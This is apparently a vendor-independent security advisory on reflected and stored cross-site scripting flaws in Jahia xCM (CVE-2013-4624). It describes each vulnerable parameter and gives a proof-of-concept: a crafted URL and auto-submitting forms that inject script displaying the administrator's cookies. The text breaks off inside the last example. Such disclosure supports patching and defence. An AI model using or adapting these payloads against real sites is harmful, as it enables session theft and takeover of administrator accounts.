Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities 
in Jahia xCM, which can be exploited to perform cross-site scripting attacks 
against administrator of vulnerable application.


1) Multiple Cross-Site Scripting (XSS) Vulnerabilites in Jahia xCM: 
CVE-2013-4624

1.1 The vulnerability exists due to insufficient sanitisation of user-supplied 
data in "site" HTTP GET parameter passed to "/engines/manager.jsp" script. A 
remote attacker can trick a logged-in administrator to open a specially crafted 
link and execute arbitrary HTML and script code in  browser in context of the 
vulnerable website.

The exploitation example below uses JavaScript 'alert()' function to display 
administrator's cookies:

http://[host]/engines/manager.jsp?conf=repositoryexplorer&site=%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


1.2 The vulnerability exists due to insufficient filtration of user-supplied 
data in "searchString" HTTP POST parameter passed to "/administration/" URI 
when "do=users" and "sub=search". A remote attacker can trick a logged-in 
administrator to open a specially crafted link and execute arbitrary HTML and 
script code in browser in context of the vulnerable website.

The exploitation example below uses JavaScript 'alert()' function to display 
administrator's cookies:


<form action="http://[host]/administration/?do=users&sub=search"; method="post" 
name="main">
<input type="hidden" name="searchString"   
value="'><script>alert(document.cookie);</script>">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>



1.3 The vulnerability exists due to insufficient sanitisation of user-supplied 
data in "username", "manage-user-property#j:firstName", 
"manage-user-property#j:lastName", "manage-user-property#j:email" and 
"manage-user-property#j:organization" HTTP POST parameters passed to 
"/administration/" URI when "do=users" and "sub=processCreate". A remote 
attacker can trick a logged-in administrator to open a specially crafted link 
and execute arbitrary HTML and script code in browser in context of the 
vulnerable website.

The exploitation example below uses JavaScript 'alert()' function to display 
administrator's cookies:


<form action="http://[host]/administration/?do=users&sub=processCreate"; 
method="post" name="main">
<input type="hidden" name="username"                            
value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:firstName"    
value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:lastName"     
value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:email"        
value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:organization" 
value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="actionType"   value='save'>
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
